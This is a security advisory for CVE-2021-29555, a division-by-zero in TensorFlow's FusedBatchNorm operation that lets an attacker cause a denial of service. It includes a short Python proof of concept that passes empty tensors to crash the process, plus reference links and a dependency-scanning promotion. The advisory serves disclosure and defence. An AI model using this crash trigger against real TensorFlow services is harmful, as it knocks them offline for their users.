CVE-2021-29555: Division by 0 in `FusedBatchNorm`
(updated )
An attacker can cause a denial of service via a FPE runtime error in tf.raw_ops.FusedBatchNorm
:
import tensorflow as tf
x = tf.constant([], shape=[1, 1, 1, 0], dtype=tf.float32)
scale = tf.constant([], shape=[0], dtype=tf.float32)
offset = tf.constant([], shape=[0], dtype=tf.float32)
mean = tf.constant([], shape=[0], dtype=tf.float32)
variance = tf.constant([], shape=[0], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False
tf.raw_ops.FusedBatchNorm(
x=x, scale=scale, offset=offset, mean=mean,
variance=variance, epsilon=epsilon,
exponential_avg_factor=exponential_avg_factor,
data_format=data_format, is_training=is_training)
References
- github.com/advisories/GHSA-r35g-4525-29fq
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-483.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-681.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-192.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/1a2a87229d1d61e23a39373777c056161eb4084d
- github.com/tensorflow/tensorflow/security/advisories/GHSA-r35g-4525-29fq
- nvd.nist.gov/vuln/detail/CVE-2021-29555
Detect and mitigate CVE-2021-29555 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →